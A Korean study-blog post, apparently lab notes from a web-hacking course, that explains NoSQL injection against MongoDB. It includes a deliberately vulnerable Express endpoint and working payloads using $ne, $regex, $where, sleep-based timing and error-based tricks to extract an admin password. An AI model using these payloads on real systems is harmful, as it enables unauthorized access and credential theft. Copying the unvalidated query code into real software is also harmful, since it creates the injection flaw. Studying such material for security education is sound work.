CIDY
[Web_Hacking] stage6_NoSQL Injection 본문
*NoSQL Injection
SQL Injection과 방법은 유사하다. 둘 다 이용자의 입력이 쿼리에 포함되면서 발생하게 된다. MongoDB는 오브젝트 타입의 입력값을 처리할 때 사용하는 쿼리 연산자를 통해 여러가지를 할 수 있다.
(*별도의 타입 검증이 없을 경우 오브젝트 타입의 값을 입력할 수 있다.)
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
위 코드는 user콜렉션에서 uid와 upw데이터를 찾아 출력하는 예제 코드이다.
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
$ne연산자를 이용해 uid와 upw가 각각 a가 아닌 데이터를 조회하는 공격 쿼리이다.
위와 같이 내 입력이 쿼리에 반영된다면, $ne연산자를 이용해 admin.의 upw를 조회할 수 있다.
*Blind NoSQL Injection
Blind SQL Injection과 유사하다. MongoDB에서는 $regex와 $where연산자를 이용할 수 있다.
$expr | 쿼리 언어 내에서 집계 식을 사용할 수 있다. |
$regex | 지정된 정규식과 일치하는 문서를 선택한다. |
$text | 지정된 텍스트를 검색한다. |
$where | JavaScript 표현식을 만족하는 문서와 일치한다. |
->$regex를 이용해 식과 일치하는 데이터를 조회할 수 있다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
위와 같이 데이터를 조회할 수 있다.
->표현식
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
위는 $where을 사용한 것인데, 필드에서 사용할 수 없는 것을 볼 수 있다.
->substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
대신 이렇게 substring을 이용해 데이터 조회가 가능하다. 위는 upw의 첫 글자를 비교해 데이터를 조회하는 쿼리이다.
->Sleep함수 이용
MongoDB는 sleep함수를 제공 -> 표현식과 함께 사용하면 지연 시간을 통해 T/F결과를 확인할 수 있다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
upw첫 글자 비교와 결과가 참이면 sleep까지 실행하기 때문에 시간 지연이 발생하면 True인 것이다.
->Error Based Injection
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
의도적으로 에러를 일으키는 건데, 위 코드의 경우 upw의 첫 글자가 g라면 asdf를 실행하려고 하기 때문에 오류가 나게 됨 -> 오류가 발생했다면 True임을 확인 가능
+
위와 같이 내 입력으로부터 쿼리를 생성하는 모듈에서 admin계정의 비밀번호를 알아내 보자.
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
1. 길이 알아내기
위와 같은 식을 통해 길이가 5임을 알 수 있다.
{"uid": "admin", "upw": {"$regex":"^a"}}
2. 비밀번호 알아내기
^는 입력의 시작 부분을 나타낸다. 한글자씩 비교해보면 apple임을 알 수 있다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] stage7_Command Injection (0) | 2022.07.30 |
---|---|
[Web_Hacking] stage6_문제풀이(Mango) (0) | 2022.07.30 |
[Web_Hacking] stage6_NON-Relational DBMS (0) | 2022.07.29 |
[Web_Hacking] stage6_문제풀이(simple_sqli) (0) | 2022.07.29 |
[Web_Hacking] stage6_SQL injection (0) | 2022.07.29 |